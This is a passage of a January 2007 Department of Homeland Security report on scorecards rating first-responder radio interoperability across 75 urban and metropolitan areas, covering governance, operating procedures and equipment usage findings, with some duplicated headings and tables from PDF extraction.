within the urban/metropolitan area.
3 Urban areas are those areas that were previously defined under the Urban Area Security Initiative (UASI). Metropolitan areas were
not part of UASI, but were selected by each state to participate in the G&T Tactical Interoperable Communications Plan process.
Tactical interoperable
Tactical interoperable
Tactical interoperable
Tactical interoperable
communications
communications
communications
communications is defined as the
rapid provision of on-scene, incident-
based, mission-critical voice
communications among all first
responder agencies (i.e., emergency
medical services [EMS], fire, and law
enforcement), as appropriate for the
incident.
“By the end of this year, each urban
area is going to get a scorecard… that
will identify gaps and help us to
determine the improvements we need
to make in the near term.”
Secretary Michael Chertoff—Tactical
Interoperable Communications
Conference, May 8, 2006
Urban/Metropolitan Area
2
January 2007
Tactical Interoperable Communications Scorecards
consider when taking steps to improve its interoperable communications capabilities. The final
section, Technology Overview, summarizes the communications systems and technologies used in
the urban/metropolitan area to achieve interoperability. In Appendices A and B, the scorecard
results are organized by urban, metropolitan, and territory areas. The detailed scorecards are
provided directly to representatives of the urban/metropolitan areas.
The scorecard is based on the SAFECOM Interoperability Continuum and the National
Interoperability Baseline Survey4 Interoperability Maturity Measurement Model. Three of the five
Continuum elements were measured: Governance, SOPs, and Usage.
4 This survey assessed the capacity for communications interoperability among law enforcement, fire, and emergency medical
services (EMS) first responders in the 50 states and the District of Columbia.
Area Overview
This section defines the
geographic region included in
the urban/metropolitan area for
the Tactical Interoperable
Communications Initiative.
Category and Score
The assessment is broken into three
sections: SOPs, Usage, and Governance
(based on the SAFECOM Continuum). For
each, a “Harvey Ball” score is shown.
Findings
Each category includes a
paragraph explaining the
reasoning behind the assigned
score. Findings are based on
reviewed materials, including:
Tactical Interoperable
Communications Plan (TICP),
TICP Peer review, TICP
Validation Exercise (Evaluation
Guide [EEG] and After Action
Report [AAR]/Improvement Plan
[IP]), and Self Assessment
discussion.
Technology Overview
While infrastructure was not
specifically assessed, an
overview of existing solutions
in the region, which were the
basis for the TICP and TICP
Validation Exercise, is
provided.
Recommendations
Steps are listed to be
considered in fiscal year (FY)
2007 to enhance
communications
interoperability in the region.
Achieving Communications Interoperability with Existing Technology
Achieving Communications Interoperability with Existing Technology
Achieving Communications Interoperability with Existing Technology
Achieving Communications Interoperability with Existing Technology
The results of the National Baseline Assessment conducted by the SAFECOM Program show that most agencies
have at least a minimum technological capability to achieve tactical interoperable communications. Whether
through mature, shared systems or simply through swapped radios, the technology that many agencies possess
is not the primary issue hampering communications interoperability. Moreover, each urban/metropolitan area
has different technology solutions because achieving interoperability is dependent on the existing types of
communications equipment and infrastructures each agency employs. Therefore, the voice communications
solution that would be considered ideal in one area could be unsuited for another. As the interdependencies of
the Interoperability Continuum illustrate, it is the ability to use technology during incident response that allows
an area to have improved tactical interoperable communications.
Therefore, while the recommendations section of the scorecard will address an urban/metropolitan area's
technology gaps identified by the review panel, it also focuses on how best to improve tactical interoperable
communications with that area’s existing technologies.
Urban/Metropolitan Area
3
January 2007
Tactical Interoperable Communications Scorecards
SAFECOM Interoperability Continuum
Maturity Levels of Tactical Interoperable Communications
Maturity Levels of Tactical Interoperable Communications
Maturity Levels of Tactical Interoperable Communications
Maturity Levels of Tactical Interoperable Communications
The scorecard employs a capabilities maturation model with four
stages—Early
Implementation,
Intermediate
Implementation,
Established Implementation, and Advanced Implementation. Each of
the three elements (Governance, SOPs, and Usage) has its own
measure, the results of which are displayed using the Harvey Ball
representations illustrated to the right. Because each of the
urban/metropolitan areas has already developed and exercised a
Tactical Interoperable Communications Plan (TICP), it was determined
that the minimum score would be a quarter of a Harvey Ball (“Early
Implementation”) instead of an empty Harvey Ball. Summary
definitions of each score, included below, provide an understanding of what each
urban/metropolitan area generally demonstrated in achieving a given maturity level.
Early
Implementation
Intermediate
Implementation
Established
Implementation
Advanced
Implementation
Urban/Metropolitan Area
4
January 2007
Tactical Interoperable Communications Scorecards
Summary Definitions of Interoperable Communications Maturity Levels
First responders regularly
and seamlessly utilize
interoperability solutions.
The region demonstrated
successful multi-agency
communications during
exercise(s), including state,
federal and support
organizations.
First responders use
interoperability solutions
regularly and easily. The
region demonstrated
successful multi-agency (which
may have included state,
federal, and support
organizations) communications
during exercise(s).
First responders use
interoperability solutions
regularly and demonstrated
the ability to achieve multi-
agency communications
despite some challenges
during exercise(s).
Interoperable
communications solutions
are rarely used for multi-
agency communication and
difficulties were encountered
in achieving interoperability
during exercise(s).
Usage
Regional SOPs, reviewed
through the TICP process,
are in place and regularly
used by included
agencies. NIMS procedures
are well established among
all agencies and
disciplines. All procedures
were effectively utilized
during exercise(s).
Existing regional SOPs were
reviewed and included in the
TICP, and are in use by
included agencies. NIMS-
compliant command and
control has been instituted by
all agencies and disciplines in
the region. Despite minor
issues, all SOPs were
successfully demonstrated
during exercise(s).
Some existing SOPs were
incorporated in the TICP and
steps have been taken to
institute these interoperability
procedures among included
agencies. Formal NIMS/ICS
procedures are in place, but
understanding varies among
agencies leading to some
issues during the exercise(s).
Region-wide SOPs were
developed and formalized for
the first time through the
TICP, but have not been
disseminated to all included
agencies. Some elements of
NIMS/ICS procedures for
command and control are in
place, but understanding
varies among agencies and
was an area of difficulty
during exercise(s).
Standard
Operating
Procedures
(SOP)
Decision making bodies
proactively look to expand
membership to ensure
representation from broader
public support disciplines and
other levels of government,
while updating their
agreements and strategic
plan on a regular basis.
Formal agreements outline the
roles and responsibilities of a
decision making group, which
has an agreed upon strategic
plan that addresses
sustainable funding
for collective,
regional interoperable
communications needs.
Some formal agreements
exist and informal
agreements are in practice
among members of a
decision making group;
regional strategic and budget
planning processes are
beginning to be put in place.
Decision making groups are
informal, and do not yet have
a strategic plan in place to
guide collective
communications
interoperability goals and
funding.
Governance
Advanced Implementation
Established Implementation
Intermediate Implementation
Early Implementation
Elements
First responders regularly
and seamlessly utilize
interoperability solutions.
The region demonstrated
successful multi-agency
communications during
exercise(s), including state,
federal and support
organizations.
First responders use
interoperability solutions
regularly and easily. The
region demonstrated
successful multi-agency (which
may have included state,
federal, and support
organizations) communications
during exercise(s).
First responders use
interoperability solutions
regularly and demonstrated
the ability to achieve multi-
agency communications
despite some challenges
during exercise(s).
Interoperable
communications solutions
are rarely used for multi-
agency communication and
difficulties were encountered
in achieving interoperability
during exercise(s).
Usage
Regional SOPs, reviewed
through the TICP process,
are in place and regularly
used by included
agencies. NIMS procedures
are well established among
all agencies and
disciplines. All procedures
were effectively utilized
during exercise(s).
Existing regional SOPs were
reviewed and included in the
TICP, and are in use by
included agencies. NIMS-
compliant command and
control has been instituted by
all agencies and disciplines in
the region. Despite minor
issues, all SOPs were
successfully demonstrated
during exercise(s).
Some existing SOPs were
incorporated in the TICP and
steps have been taken to
institute these interoperability
procedures among included
agencies. Formal NIMS/ICS
procedures are in place, but
understanding varies among
agencies leading to some
issues during the exercise(s).
Region-wide SOPs were
developed and formalized for
the first time through the
TICP, but have not been
disseminated to all included
agencies. Some elements of
NIMS/ICS procedures for
command and control are in
place, but understanding
varies among agencies and
was an area of difficulty
during exercise(s).
Standard
Operating
Procedures
(SOP)
Decision making bodies
proactively look to expand
membership to ensure
representation from broader
public support disciplines and
other levels of government,
while updating their
agreements and strategic
plan on a regular basis.
Formal agreements outline the
roles and responsibilities of a
decision making group, which
has an agreed upon strategic
plan that addresses
sustainable funding
for collective,
regional interoperable
communications needs.
Some formal agreements
exist and informal
agreements are in practice
among members of a
decision making group;
regional strategic and budget
planning processes are
beginning to be put in place.
Decision making groups are
informal, and do not yet have
a strategic plan in place to
guide collective
communications
interoperability goals and
funding.
Governance
Advanced Implementation
Established Implementation
Intermediate Implementation
Early Implementation
Elements
Achieving Tactical
Achieving Tactical
Achieving Tactical
Achieving Tactical Interoperable Communications
Interoperable Communications
Interoperable Communications
Interoperable Communications
Communication interoperability among agencies and jurisdictions is a long-standing problem in the
public safety community. Since DHS was established in 2002, it has been working expeditiously to
improve interoperable communications. From FY 2003 through FY 2006, more than $2.9 billion in
grant assistance has been provided to state and local agencies for equipment and other projects to
improve communications interoperability. In addition, programs such as the Interoperable
Communications Technical Assistance Program (ICTAP) and SAFECOM have developed tools
and expedited technology standards
development, testing, and evaluation to
assist public safety agencies in the
planning
and
implementation
of
communications systems. However, as
stated by DHS Secretary Michael
Chertoff in his May 8, 2006, speech to
the
Tactical
Interoperable
Communications Planning Conference,5
public
safety
still
has
immediate
communications
interoperability
requirements that need to be identified
and rapidly met.
DHS understands that barriers to interoperable communications are both technical and
operational. Each agency typically has its own unique legacy technologies, requirements,
5 http://www.dhs.gov/xnews/speeches/speech_0281.shtm
Progress to Date with Tactical Interoperable
Progress to Date with Tactical Interoperable
Progress to Date with Tactical Interoperable
Progress to Date with Tactical Interoperable
Communications
Communications
Communications
Communications
Through the development of the TICP, the validation
exercises, and the scorecard development, all 75
urban/metropolitan areas have developed the following:
•
Regional Communications Committee (TICP
Requirement)
•
Regional Equipment Inventory (TICP Requirement)
•
Regional SOPs (TICP Requirement)
•
Communications Focused Exercise (Validation Exercise)
•
Identified communications gaps and recommendations
(Scorecard & AAR)
10%5%
5%
5%
10%
10%15%
15%
15%
20%
20%
20%
Urban/Metropolitan Area
5
January 2007
Tactical Interoperable Communications Scorecards
operating environments, laws, and processes. Therefore, achieving interoperability requires that,
in addition to addressing technology and disparate communications systems, agencies examine
governance, procedures, training, exercises, and usage. Beginning with the FY 2005 grant cycle,
G&T began providing urban/metropolitan areas with operational planning and exercise support to
address these needs within the framework of multijurisdictional, multidiscipline incident response.
The scorecard is an important milestone in this ongoing process because it marks the culmination
of 2 years of planning and exercising tactical interoperable communications capabilities.
Beginning with the development of TICPs, DHS required designated urban/metropolitan areas to
focus on the creation and/or validation of regional SOPs that, in some cases, represented the first
time local jurisdictions had come together to align operational communications plans for incident
response. During the same time period, DHS emphasized multijurisdictional and multidiscipline
governance structures as demonstrated through the development of the SAFECOM Statewide
Communications Interoperability Planning Methodology and the Urban Area Working Group
requirements. Some areas had long-standing governance bodies that provided multijurisdictional
and multidiscipline leadership in developing longer term communications goals and resource plans.
Other areas used the TICP process as an opportunity to bring such leaders to the planning table.
Tactical Interoperable Communications Initiative Roadmap
FY2003 – FY2005
FY2006
FY2007
Oct
Nov Dec Jan Feb Mar
Apr May Jul Aug Sept
Oct Nov Dec Jan
Tactical Interoperable
Communications Plan
(Apr 2005 – May 2006)
Requirement of FY2005
grant guidance required
grantees to address
operational use of
communications equipment
purchased to date
TICP Validation Exercises
(May 2006 – Sep 2006)
Announced in May 2006, 75
urban/metropolitan areas were required to
complete exercises by September 30.
Each exercise was evaluated by a joint
federal/peer panel of subject matter
experts (SME)
Urban Area Self Assessment
Discussion
(Nov 2006 – Dec 2006)
Discussions were held with each
urban/metropolitan area to determine its
progress in post-TICP exercises and in
developing governance structures for
longer term interoperability (in
accordance with the SAFECOM model)
FY2003 – FY2005
Investments
$2.1 billion in Homeland
Security Grants was used
for communications projects
through FY2005
After Action Report/Improvement Plans
(Aug 2006 – Nov 2006)
Findings from each exercise were
compiled, and identified gaps were
presented to the urban/metropolitan area
to develop an improvement plan
Scorecards
(Nov 2006 – Dec 2006)
G&T, the WMO, and SAFECOM
developed evaluation criteria in line with
the SAFECOM National Baseline
Assessment for panels of SMEs to
assess each area
Urban/Metropolitan Area
6
January 2007
Tactical Interoperable Communications Scorecards
As illustrated above, the development of
a TICP in each urban/metropolitan area
was followed by a validation exercise to
demonstrate agencies’ ability to use the
TICP procedures with their existing
interoperable communications assets.
The results of those exercises were
provided to the areas to include in
improvement plans for future TICP
revisions and training efforts. The
scorecard summarizes the progress
made
to
date—from
the
TICP
development through the exercise and
After Action Reports (AAR)—and provides a foundation for each area’s next steps as it continues
to enhance its interoperable communications capabilities.
Scorecard
Scorecard
Scorecard
Scorecard Development
Development
Development
Development Overvie
Overvie
Overvie
Overviewwww
To complete the scorecards, documentation from the G&T TICP process was reviewed, including
the TICP, TICP Peer Review, Exercise Evalution Guide (EEG), AAR, Improvement Plan (IP), and
Self Assessment Discussion (described below). Subject matter expert (SME) panels—composed
of SMEs with state and local public safety operational and communications technology
backgrounds in addition to representatives from G&T, SAFECOM, and the WMO—reviewed all key
documents to assess Governance, SOPs, and Usage-related information. Five panels of SMEs
met over a 6-week period to review all of the documentation provided for the urban/metropolitan
areas. Through a facilitated process, the review panels arrived at consensus results, findings, and
recommendations for each area. The resulting scorecards will be shared with and can be used by
each area to support future investment justifications for improvements to regional interoperable
communications.
Scorecard Documentation
Reference Document
Description
TICP
Communications Plan required by all urban/metropolitan areas under FY 2005 grant
guidance
TICP Peer Review
Comments of state and local peers assigned to review each TICP
Exercise Evaluation Guide Comprehensive data from evaluation teams assigned to each TICP Validation Exercise
After Action Report
Major findings from each TICP Validation Exercise
Improvement Plan
Recommendations to areas on addressing gaps identified during the TICP Validation
Exercise
Self Assessment
Discussion Guide
Responses to questions addressing any tactical interoperability issues not covered by
the TICP and/or exercise
Benefits and Results for Urban/Metropolitan Areas
Benefits and Results for Urban/Metropolitan Areas
Benefits and Results for Urban/Metropolitan Areas
Benefits and Results for Urban/Metropolitan Areas
In addition to providing a specific maturity assessment, the
scorecard
provides
recommendations
to
help
the
urban/metropolitan area improve its overall communications
capability.
Technical
assistance
provided
to
each
urban/metropolitan area can then be tailored to address the
recommendations identified in its scorecard. Whether the area
The quickest way to achieve a
meaningful improvement in
interoperable communications
capabilities is to focus on a
strong governance structure,
establish and maintain SOPs,
and ensure that solutions are
used regularly and effectively.
Core Components of a TICP
Core Components of a TICP
Core Components of a TICP
Core Components of a TICP
The TICP for an urban/metropolitan area identifies specific
problems, needs, and barriers to communications among
the area’s agencies and disciplines. The plan identifies
potential partners and their roles and responsibilities. It
inventories the area’s communications resources and
details how those resources would be used to provide fast,
on-scene, mission-critical voice communications among all
first-responder agencies. The plan must specify a level of
communication appropriate for the incident and complies
with the incident command system defined in the National
Incident Management System (NIMS) model.
Urban/Metropolitan Area
7
January 2007
Tactical Interoperable Communications Scorecards
assessed received a lower or higher score, the recommendations provided, as well as future
assistance goals, will serve as a foundation to ensure continued enhancements to all interoperable
communications capabilities nationwide.
Element
Early Maturity Indicates the Need for…
Advanced Maturity Indicates the Need for…
Governance
Strategic plans to identify longer-term
interoperability goals and decisions
Regionally based, longer-term strategies to
coincide with statewide planning
SOPs
Training on policies, procedures, and
command and control
Continued exercises for NIMS proficiency and
increased involvement of state and federal
agencies
Usage
More regular testing and exercise on how
to use interoperability equipment across the
region
Continued exercises on interoperability
equipment with additional expanded participation
Urban/Metropolitan Area
8
January 2007
Tactical Interoperable Communications Scorecards
PRELIMINARY
PRELIMINARY
PRELIMINARY
PRELIMINARY SCORECARD FINDINGS
SCORECARD FINDINGS
SCORECARD FINDINGS
SCORECARD FINDINGS
The scorecards represent the culmination of volumes of data that have been analyzed to identify
interoperable communications trends, best practices, and other insights useful in guiding both the
urban/metropolitan areas and DHS programs. Although more analysis will be necessary, the
following sections represent the key general trends and specific findings across the Interoperability
Continuum elements.
General Scorecard Trends
General Scorecard Trends
General Scorecard Trends
General Scorecard Trends
Analysis of the scorecard results provides information that is beneficial to DHS as it improves the
assistance provided to state and local agencies. Two common trends across all areas include
1) areas developing and/or using shared systems tended to demonstrate more mature
governance structures, SOPs, and usage; and 2) areas that diversified their funding sources to
address sustained interoperability tended to also have stronger governance structures in
place. General scorecard findings across all types of areas (i.e., urban and metropolitan) are
presented below.
Overall Scorecard Trends
Overall Scorecard Trends
Overall Scorecard Trends
Overall Scorecard Trends
• Policies for interoperable communications are now in place in all 75 urban/metropolitan areas.
• Regular testing and exercises are needed to effectively link disparate systems to allow
communications between multi-jurisdictional responders (including State and Federal) during crisis.
• The DHS Tactical Interoperable Communications Initiative has played a fundamental role in advancing
interoperability in the urban/metropolitan areas.
• Cooperation among first responders in the field is strong, but formalized governance (leadership and
planning) across regions has lagged. Governance will be critical in planning for larger-scale, multi-
jurisdictional responses and implementation of next-generation technology.
• Areas that were part of the FY 2005 UASI Grant Program tended to demonstrate greater traction in
strategic planning across the region.
• Areas that had a history of multijurisdictional cooperation because of prior incidents demonstrated
stronger SOPs and Usage.
• Many of the exercises were more complicated in terms of the number and type of participating
agencies; this provided more insight into the breadth of the SOPs and the depth of Usage; areas with
less complicated exercises and fewer participants scored higher in Usage because the events required
less coordination.
• Areas that were empowered to develop a TICP based on a “bottom-up” approach of a collaborative,
regional nature scored higher in Governance than those areas in which a “top-down” state-centric
approach was used.
Urban/Metropolitan Area
9
January 2007
Tactical Interoperable Communications Scorecards
Governance Findings
Governance Findings
Governance Findings
Governance Findings
Governance measures the maturity of five basic elements critical to a successful and established
governance structure: 1) Decision Making Groups, 2) Agreements, 3) Strategic Planning, 4)
Interoperability Funding, and 5) Leadership.
Governance Finding
1—Informal
cooperation among
multi-agency
first
responders
often
precedes
a
formalized
and
established regional
governance
structure:
While
many
urban/metropolitan
areas
are
at
the
Intermediate
and
Established levels of
maturity
in
their
regional governance
and planning efforts, the first responders and public safety organizations within the region often
had been informally cooperating for years. Because of the lack of formal documentation of these
relationships, “Governance” results tended to lag significantly behind “Usage” in the scorecards.
Governance Finding 2—Areas with pre-existing DHS
Urban Area Working Groups were more likely to have
a Regional Communications Committees: More than
75 percent of DHS-funded urban areas have developed
regional communications committees to address the issue
of communications interoperability. While some of these
committees focus specifically on the use of federal grant
funding for interoperability, others have developed a
broader mandate to address other communications
interoperability issues across the region (beyond the scope of federal grants). Among metropolitan
areas, just under half have developed formal committees. In cases in which the states had strong
governance structures, metropolitan areas tended to align their decision making bodies and
strategies with the statewide efforts. As indicated by the overall governance results for both urban
and metropolitan areas, a communications committee represents a critical step in regional
interoperability oversight. However, the groups are not consistently supported by their jurisdictions
in efforts to put formal agreements in place, develop strategic plans (including funding strategies),
and influence interoperable communications policy and funding decisions.
Governance Finding 3—Governance is a good indicator of the existence of advanced
technology, more mature SOPs, and more proficient usage because it provides the
foundation for communications interoperability: In the urban/metropolitan areas that did have
a formalized and established governance structure, the first responders and public safety
organizations were able to demonstrate a higher level of proficiency in interoperable
communications equipment usage and generally had more mature SOPs, which were accepted
and practiced. This proficiency may be, in part, a result of the larger, more seamless shared
Governance
Governance
Governance
Governance————What it Means
What it Means
What it Means
What it Means
•
A strategic plan is in place to
identify longer-term
interoperability goals
•
Leadership prioritizes
interoperability
•
Various funding streams (in
addition to federal grants)
promote interoperability
0
5
10
15
20
25
Number of Areas
Early
Intermediate
Established
Advanced
Governance
Metropolitan
Urban
Urban/Metropolitan Area
10
January 2007
Tactical Interoperable Communications Scorecards
systems that more closely correlate with an established regional governance structure. This
correlation is based on the fact that areas with shared systems must have developed and adopted
consensus requirements, funding strategies, and longer term agreements to support mutual
system use.
Governance Finding 4—
Few
urban/metropolitan
areas have completed a
strategic plan for regional
interoperable
communications: Beyond
the operational policies of
the TICP or the broad scope
to the Urban Area Homeland
Security
Strategies,
few
urban/metropolitan
areas
have
developed
strategic
plans specifically for regional interoperable communications (including sustainable funding plans).
In cases where strategic planning processes had begun, it was often noted in the documentation
that the region was developing a plan completely separate from the operational focus of the TICP.
Example of Highest and Lowest Governance Maturity for an Urban Area
Advanced Implementation
Early Implementation
•
9 of the urban/metropolitan areas received
“advanced implementation” in Governance
•
A Communications Committee has been in
place for many years and has evolved with
new requirements like the TICP
•
A strategic interoperability plan is in place
and accepted by all agencies
•
Funding decisions are made on a region-
wide basis and have been diversified
beyond Federal grants
•
3 of the urban/metropolitan areas received
“early implementation” in Governance
•
Governance is divided between the city and
county,
which
affects
all
aspects
of
interoperability planning
•
The region formed two separate working
groups for the development of the TICP –
One for the city, the other for the county
•
There is no strategic interoperability plan for
the region
Strategic Planning Efforts
58%
18%
24%
No Plan/Plan Under
Development
Plan Developed but not yet
Adopted
Plan Developed and
Adopted
Urban/Metropolitan Area
11
January 2007
Tactical Interoperable Communications Scorecards
Standard Operating Procedures (SOP) Findi
Standard Operating Procedures (SOP) Findi
Standard Operating Procedures (SOP) Findi
Standard Operating Procedures (SOP) Findings
ngs
ngs
ngs
Evaluating the level of maturity across SOPs required attention to two topics: 1) communications
policies, practices, and procedures, and 2) command and control.
SOP
Finding
1—
The TICP provided
the first regionwide
equipment SOP for
many
areas:
Through
the
development of the
DHS-required TICP,
virtually
every
urban/metropolitan
area has instituted a
consensus, regional
process
for
the
request,
activation,
and
use
of
interoperable
communications
equipment. The most common multi-agency equipment SOPs before the TICP were primarily
intended for the users of shared systems. A number of areas also cited gateway SOPs, which
were developed under previous federal efforts such as the Department of Justice “25 Cities”
project. Overall, relatively few state and federal responder agencies are covered by the areas’
SOPs, indicating that more should be done to ensure that these groups are participating in the
development and implementation of procedures.
SOP Finding 2—The majority of areas have taken steps
to disseminate their equipment SOPs throughout the
region: Regional communications equipment SOPs
developed by the urban/metropolitan areas are being
disseminated in a number of ways, including distribution to
dispatch centers, storing applicable SOPs with gateways
and radio caches, and developing training courses on SOPs
for agencies included in the area. Preparation for the TICP
validation exercise appeared to have been the major stimulus for SOP training, with more than half
the urban/metropolitan areas participating in ICTAP “Tactical Plan Implementation Workshops” in
the weeks leading to their exercises. However, in most areas, the short period of time between the
completion of the TICP and the exercise deadline made it difficult to have fully circulated, new
SOPs at the “line” responder level. As a result, only one third of the areas were fully successful in
following their prescribed equipment SOPs.
SOPs
SOPs
SOPs
SOPs————What it Means
What it Means
What it Means
What it Means
•
Policies and procedures exist to
support interoperable
communications during incident
response
•
Command and control (NIMS/ICS)
is used to effectively coordinate
incident communications
0
5
10
15
20
25
Number of Areas
Early
Intermediate
Established
Advanced
Standard Operating Procedures
Urban
Metropolitan
Urban/Metropolitan Area
12
January 2007
Tactical Interoperable Communications Scorecards
SOP
Finding
3—Ninety-seven
percent
of
urban/metropolitan
areas report that they are in the
process of implementing NIMS;
however less than half of these
agencies have had these command
and control policies instituted for
more than 1 year: Two out of three
urban/metropolitan
areas
were
determined
to
have
achieved
“Intermediate”
maturity
in
the
implementation
of
NIMS/ICS
command and control procedures.
This was based not only on the length
of time that these SOPs had been in place in the region, but also the demonstrated level of
proficiency in the TICP validation exercise. Exercise findings indicate that maturity in the use of
NIMS varies by responder discipline, with fire agencies showing more aptitude in the use of these
response procedures.
SOP Finding 4—A NIMS Certified Communications Unit Leader Course is needed to improve
proficiency in fulfilling the responsibilities of the communications unit during incident
response: As evaluated in the TICP validation exercise, areas were encouraged to implement the
Communications Unit Leader (COML) position in their incident response. However, although DHS
provided core competencies on the position and ICTAP developed an overview course on COML
duties, formal training, and a certification program are not yet available. As a result, only 16
percent of the areas were able to implement the COML position without difficulties during the
exercises. Of those areas that were successful, all but one were designated as urban areas, which
could indicate the possibility that dedicated UASI funds were used to allow personnel to participate
in the National Wildland Fire’s discipline-specific training course for COML (the only course of its
kind that is currently available to first responders).
Example of Highest and Lowest SOP Maturity for an Urban Area
Advanced Implementation
Intermediate Implementation
•
10 of the urban/metropolitan areas received
“advanced implementation” in SOPs
•
SOPs have been in place for many years
and were regionally developed
•
SOPs
were
enhanced/updated
through
TICP including extensive inventory
•
NIMS has been in place for more than 1
year
•
Policies were effectively followed during
exercise
•
All of the urban/metropolitan areas received
at least “intermediate implementation” in
SOPs (14 areas received “intermediate
implementation”)
•
SOPs were largely informal prior to the TICP
•
The TICP is a compilation of agency policies
as opposed to one consensus SOP
•
Few
steps
have
been
taken
to
implement/train on new SOPs
•
NIMS is still being implemented and was
problematic during the exercise
10%
10%15%
15%
NIMS/ICS Implementation
29%
29%
42%
In Process
More than 6 months
ago
More than 1 year ago
Urban/Metropolitan Area
13
January 2007
Tactical Interoperable Communications Scorecards
Usage Find
Usage Find
Usage Find
Usage Findings
ings
ings
ings
Usage was measured by examining the familiarity with and frequency that interoperable
communications equipment was used during the TICP validation exercise.
Usage Finding 1—
Sixty-eight
percent
of
the
urban/metropolitan
areas
effectively
established regional
interoperability:
While
every
urban/metropolitan
area evaluated was
able to use some
level of multi-agency
interoperability as part
of
an
incident
response,
multijurisdictional
communications
necessary to support a tactical response was successfully demonstrated by more than 60 percent
of the urban/metropolitan areas. Of these areas, one-half (21 percent overall) demonstrated the
seamless use of all types of interoperability equipment (e.g., cache radios, gateways, shared
channels and shared systems) to provide communications for not only regional responders, but
also state and federal personnel. Frequently, the remaining successful areas encountered
problems with at least one type of equipment, but were still able to achieve interoperability through
the use of backup measures or the rapid resolution of the problem. And in other cases, areas were
able to show success, but the limited scope of the TICP validation exercise prevented
demonstration of seamless interoperable communications capabilities.
Usage Finding 2—More than 80 percent of urban/metropolitan areas use shared systems
and/or shared channels daily to provide communications interoperability: Multi-agency
interoperability occurs on a daily basis using talk groups on trunked systems and/or conventional
shared channels in most urban/metropolitan areas. This method of interoperability was
successfully used in almost every TICP validation exercise. However, within a single
urban/metropolitan area, the total number of shared systems could be more than a dozen, often
operating across disparate frequency bands and/or comprising different proprietary components.
Problems with radio channel configuration and nomenclature were the most common issues
encountered with the use of this form of interoperable communications solution.
Usage Finding 3—The most common equipment usage
problems during the TICP validation exercises related
to mobile gateways: Gateway devices were the most
common method used to connect responders operating on
disparate systems during the TICP validation exercise. In
many areas, this was accomplished using a console patch
or fixed gateway system. However, when mobile gateways
were deployed during the exercises, responders often
Usage
Usage
Usage
Usage————What it
What it
What it
What it Means
Means
Means
Means
•
How well can response agencies
use their existing interoperable
equipment in multi-jurisdictional
response
•
How regularly is interoperable
equipment used
0
5
10
15
20
25
Number of Areas
Early
Intermediate
Established
Advanced
Usage
Urban
Metropolitan
Urban/Metropolitan Area
14
January 2007
Tactical Interoperable Communications Scorecards
encountered problems. Evaluators reported a lack of technical familiarity with mobile gateways in
a number of exercises, which is consistent with the fact that frequency of gateway use (particularly
mobile gateways) varies greatly across urban/metropolitan areas.
Usage Finding 4—Urban/metropolitan areas can build on the success of their TICP
validation exercise by expanding future training scenarios to focus on communications
capabilities: For the majority of urban/metropolitan areas, the required TICP validation exercise
was the first time that the area had participated in a test designed specifically for communications.
This fact, coupled with the aggressive timeline, led some urban/metropolitan areas to minimize the
scope of their exercises. While the exercises that resulted were sufficient to demonstrate
communications interoperability, most were not large enough to test critical aspects of a real-world
response (e.g., system loading).
Example of Highest and Lowest Usage Maturity for an Urban Area
Advanced Implementation
Intermediate Implementation
•
10 of the urban areas received “advanced
implementation” in Usage
•
Interoperability across disparate systems is
achieved on a daily basis in the region
•
The use of regional equipment by local,
state, and federal agencies in the TICP
validation exercise was described by the
evaluators as “exemplary”
•
All of the urban areas received at least
“intermediate implementation” in Usage (13
areas
received
“intermediate
implementation”)
•
Exercise
demonstrated
that
“some
participants have not had sufficient practice
in the use of the equipment”
•
Limited local involvement in exercise
•
State and Federal agencies were not
involved in the exercise
10%
10%15%
15%
Urban/Metropolitan Area
15
January 2007
Tactical Interoperable Communications Scorecards
NEXT STEPS FOR FY
NEXT STEPS FOR FY
NEXT STEPS FOR FY
NEXT STEPS FOR FY 2007
2007
2007
2007
DHS will continue to align its programs and resources to best address the communications needs
of first responders. Accomplishing this feat will require a coordinated DHS effort to provide
increased resources and assistance to states and localities to empower greater communications
interoperability across broader regions. Focus on five priority efforts will support this goal:
•
FY 2007 Grant Programs: The FY 2007 Homeland Security Grant Program (HSGP) and
Infrastructure Protection Program will both encourage interoperable communications as a
program focus area.
•
Completed Communications Unit Leader (COML) Training: DHS will complete and
release the criteria for COML training to ensure that public safety agencies have clearer
guidance on the COML role in incident response.
•
Improvement Plans/Scorecard Recommendations: DHS ICTAP is developing, and will
deliver during FY 2007, technical assistance to address the most prevalent gaps identified
through the Tactical Interoperable Communications exercises.
•
Best Practices/Lessons Learned: A compendium of all best practices and lessons
learned from the TICP validation exercises will be provided to each urban/metropolitan
area. Contacts for each area will be provided to encourage peer-to-peer “cross-pollination”
of practices.
•
Statewide Plans: Urban/metropolitan areas will be asked to play an active role in the
development of Statewide Interoperable Communications Plans as required by December
31, 2007, in the FY 2006 HSGP.
Conclusion
Conclusion
Conclusion
Conclusion
The scorecard results show that urban/metropolitan areas have come a long way in developing
their tactical interoperable communications capabilities. As documented in the SAFECOM
Baseline Assessment, technology exists to permit interoperable communications, but solutions are
often not available regionally and are far from seamless in many areas. Therefore, continued
training and use of available technical solutions and their SOPs are critical to operational success.
In areas that have demonstrated success at the tactical, command-level of communications
interoperability, there is still work to be done. Multi-agency communications has been addressed
within many of these jurisdictions, but regionalizing the existing communications strategies to
identify longer term interoperability goals across multiple jurisdictions and levels of government still
needs to be addressed.
Urban/Metropolitan Area
A-1
January 2007
Tactical Interoperable Communications Scorecards
APPENDIX
APPENDIX
APPENDIX
APPENDIX A
A
A
A: Urban Area Score
: Urban Area Score
: Urban Area Score
: Urban Area Scorecard
card
card
cardssss
The tables included in this appendix outline the results developed for Standard Operating
Procedures (SOP), Usage, and Governance for the 48 urban areas that developed and exercised
TICPs. The results represent the summary assessment of each Continuum element taking into
account critical “sub-elements” identified in the Interoperability Maturity Measurement Model
developed as part of the SAFECOM National Baseline Assessment. The Baseline approach to
defining the aspects of communications interoperability was leveraged to ensure consistency in the
measurement models applied to various Department of Homeland Security (DHS) initiatives.
In the case of SOPs, the sub-elements include: 1) policies, practices, and procedures and
2) command and control. Usage focuses on the frequency of use and familiarity with
interoperability solutions. Governance focuses on five core sub-elements including: 1) decision-
making groups, 2) agreements, 3) strategic planning, 4) interoperability funding, and 5) leadership.
Each score can be defined as early, intermediate, established, or advanced implementation of the
given element. Below, general definitions for each score are provided.
First responders regularly
and seamlessly utilize
interoperability solutions.
The region demonstrated
successful multi-agency
communications during
exercise(s), including state,
federal and support
organizations.
First responders use
interoperability solutions
regularly and easily. The
region demonstrated
successful multi-agency (which
may have included state,
federal, and support
organizations) communications
during exercise(s).
First responders use
interoperability solutions
regularly and demonstrated
the ability to achieve multi-
agency communications
despite some challenges
during exercise(s).
Interoperable
communications solutions
are rarely used for multi-
agency communication and
difficulties were encountered
in achieving interoperability
during exercise(s).
Usage
